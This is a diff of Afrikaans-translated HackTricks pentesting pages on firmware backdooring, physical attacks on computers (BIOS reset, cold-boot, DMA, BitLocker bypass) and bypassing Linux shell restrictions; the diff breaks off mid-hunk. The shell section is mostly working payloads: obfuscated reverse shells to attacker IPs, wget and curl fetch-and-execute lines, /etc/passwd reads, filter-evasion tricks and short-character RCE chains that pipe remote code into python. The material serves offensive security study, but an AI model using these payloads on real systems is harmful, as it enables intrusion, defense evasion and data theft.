* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
## Firmware Integriteit
|
||||
|
||||
Die **aangepaste firmware en/of saamgestelde binaêre lêers kan geüpload word om integriteit of handtekeningverifikasie-foute uit te buit**. Die volgende stappe kan gevolg word vir die samestelling van 'n agterdeur-bindshell:
|
||||
|
||||
1. Die firmware kan onttrek word met behulp van firmware-mod-kit (FMK).
|
||||
2. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
|
||||
3. 'n Kruiskompilator kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
|
||||
4. Die agterdeur kan gebou word met behulp van die kruiskompilator.
|
||||
5. Die agterdeur kan gekopieer word na die onttrokke firmware se /usr/bin-gids.
|
||||
6. Die toepaslike QEMU-binaêre lêer kan gekopieer word na die onttrokke firmware se rootfs.
|
||||
7. Die agterdeur kan geëmuleer word met behulp van chroot en QEMU.
|
||||
8. Die agterdeur kan benader word via netcat.
|
||||
9. Die QEMU-binaêre lêer moet verwyder word uit die onttrokke firmware se rootfs.
|
||||
10. Die gewysigde firmware kan verpak word met behulp van FMK.
|
||||
11. Die agterdeur-firmware kan getoets word deur dit te emuleer met die firmware-analisehulpmiddel (FAT) en deur te verbind met die teiken-agterdeur-IP en -poort met behulp van netcat.
|
||||
|
||||
As 'n root-skulp al verkry is deur middel van dinamiese analise, opstartlader-manipulasie of hardwaresekerheidstoetsing, kan vooraf saamgestelde skadelike binaêre lêers soos implante of omgekeerde skulpe uitgevoer word. Geoutomatiseerde vrag/implant-hulpmiddels soos die Metasploit-raamwerk en 'msfvenom' kan benut word met die volgende stappe:
|
||||
|
||||
1. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
|
||||
2. Msfvenom kan gebruik word om die teiken-vrag, aanvaller-gashuis-IP, luisterpoortnommer, lêertipe, argitektuur, platform en die uitvoerlêer te spesifiseer.
|
||||
3. Die vrag kan oorgedra word na die gekompromitteerde toestel en verseker word dat dit uitvoeringsregte het.
|
||||
4. Metasploit kan voorberei word om inkomende versoekings te hanteer deur msfconsole te begin en die instellings te konfigureer volgens die vrag.
|
||||
5. Die meterpreter-omgekeerde skulp kan uitgevoer word op die gekompromitteerde toestel.
|
||||
6. Meterpreter-sessies kan gemonitor word soos hulle oopmaak.
|
||||
7. Post-exploitasie-aktiwiteite kan uitgevoer word.
|
||||
|
||||
Indien moontlik, kan kwesbaarhede binne opstartskripte uitgebuit word om volgehoue toegang tot 'n toestel oor herlaaie te verkry. Hierdie kwesbaarhede ontstaan wanneer opstartskripte verwys na, [simbolies skakel](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), of afhanklik is van kode wat in onbetroubare gemoniteerde liggings soos SD-kaarte en flitsvolumes wat gebruik word vir die stoor van data buite die wortel-lêersisteme.
|
||||
|
||||
## Verwysings
|
||||
* Vir verdere inligting, besoek [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
81
hardware-physical-access/physical-attacks.md
Normal file
81
hardware-physical-access/physical-attacks.md
Normal file
|
@ -0,0 +1,81 @@
|
|||
# Fisiese Aanvalle
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
## BIOS-wagwoordherwinning en Sisteemsekuriteit
|
||||
|
||||
Die **terugstel van die BIOS** kan op verskeie maniere bereik word. Die meeste moederborde bevat 'n **battery** wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings sal terugstel, insluitend die wagwoord. Alternatiewelik kan 'n **jumper op die moederbord** aangepas word om hierdie instellings terug te stel deur spesifieke pennaaldjies te verbind.
|
||||
|
||||
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagtewarehulpmiddels** 'n oplossing. Deur 'n stelsel van 'n **Live CD/USB** met verspreidings soos **Kali Linux** te hardloop, het jy toegang tot hulpmiddels soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS-wagwoordherwinning.
|
||||
|
||||
In gevalle waar die BIOS-wagwoord onbekend is, sal die invoer van dit verkeerd **drie keer** tipies lei tot 'n foutkode. Hierdie kode kan gebruik word op webwerwe soos [https://bios-pw.org](https://bios-pw.org) om moontlik 'n bruikbare wagwoord te herwin.
|
||||
|
||||
### UEFI-sekuriteit
|
||||
|
||||
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die hulpmiddel **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan gedoen word met die volgende bevel:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM-analise en Koue Ontploffingsaanvalle
|
||||
|
||||
RAM behou data kort nadat die krag afgesny is, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue-afvoer** geskep word met behulp van hulpmiddels soos **dd.exe** en **volatility** vir analise.
|
||||
|
||||
### Direkte Geheue Toegang (DMA) Aanvalle
|
||||
|
||||
**INCEPTION** is 'n hulpmiddel wat ontwerp is vir **fisiese geheue-manipulasie** deur DMA, wat kompatibel is met interfaces soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om inlogprosedures te omseil deur geheue te verander om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10**-stelsels nie.
|
||||
|
||||
### Live CD/USB vir Sisteemtoegang
|
||||
|
||||
Die verandering van stelsel-binêre lêers soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** kan 'n opdragvenster met stelselbevoegdhede voorsien. Hulpmiddels soos **chntpw** kan gebruik word om die **SAM**-lêer van 'n Windows-installasie te wysig, wat wagwoordveranderinge moontlik maak.
|
||||
|
||||
**Kon-Boot** is 'n hulpmiddel wat dit vergemaklik om in te teken op Windows-stelsels sonder om die wagwoord te ken deur tydelik die Windows-kernel of UEFI te wysig. Meer inligting is beskikbaar by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Hantering van Windows-sekuriteitskenmerke
|
||||
|
||||
#### Opstart- en Herstelafkortings
|
||||
|
||||
- **Supr**: Toegang tot BIOS-instellings.
|
||||
- **F8**: Betree herstelmodus.
|
||||
- Deur **Shift** te druk na die Windows-banier kan outomatiese aanmelding omseil word.
|
||||
|
||||
#### SLEGS USB-toestelle
|
||||
|
||||
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms vir die skep van **slegte USB**-toestelle wat in staat is om voorafbepaalde ladinge uit te voer wanneer dit aan 'n teikenskerm gekoppel word.
|
||||
|
||||
#### Volume Shadow Copy
|
||||
|
||||
Administrateurbevoegdhede maak dit moontlik om kopieë van sensitiewe lêers, insluitend die **SAM**-lêer, te skep deur middel van PowerShell.
|
||||
|
||||
### Omseiling van BitLocker-versleuteling
|
||||
|
||||
BitLocker-versleuteling kan moontlik omseil word as die **herstelwagwoord** gevind word binne 'n geheue-afvoerlêer (**MEMORY.DMP**). Hulpmiddels soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
|
||||
|
||||
### Maatskaplike Ingenieurswese vir Herstelsleuteltoevoeging
|
||||
|
||||
'n Nuwe BitLocker-herstelsleutel kan deur maatskaplike ingenieurswese-taktieke bygevoeg word, deur 'n gebruiker te oortuig om 'n opdrag uit te voer wat 'n nuwe herstelsleutel wat uit nulle bestaan, byvoeg, en sodoende die dekripsieproses vereenvoudig.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
359
linux-hardening/bypass-bash-restrictions/README.md
Normal file
|
@ -0,0 +1,359 @@
|
|||
# Bypass Linux Beperkings
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Algemene Beperkingsontduiking
|
||||
|
||||
### Omgekeerde Skulpdoel
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kort Rev shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Omgangspaaie en verbode woorde
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Bypass verbode spasies
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Oorbrug backslash en streepjie
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Oorbrug pype
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Omgang met hekskodering
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Omgang met IP-adresse
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Tydgebaseerde data-eksfiltrering
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Kry karakters vanaf Omgewingsveranderlikes
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS data uitlekking
|
||||
|
||||
Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
|
||||
|
||||
### Ingeboude funksies
|
||||
|
||||
In die geval waar jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
|
||||
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Meertalige bevelinspuiting
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Oorloop moontlike regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE met 5 karakters
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### RCE met 4 karakters
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Lees-Slegs/Noexec/Distroless Omgang
|
||||
|
||||
Indien jy binne 'n lêersisteem met die **lees-slegs en noexec-beskermings** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Chroot & ander Jails Omgang
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Verwysings & Meer
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# Bypass FS beskerming: lees-slegs / geen-uitvoer / Distroless
|
||||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
|
@ -81,10 +81,12 @@ Daarom kan jy deur die **samestellingskode te beheer** wat deur die proses uitge
|
|||
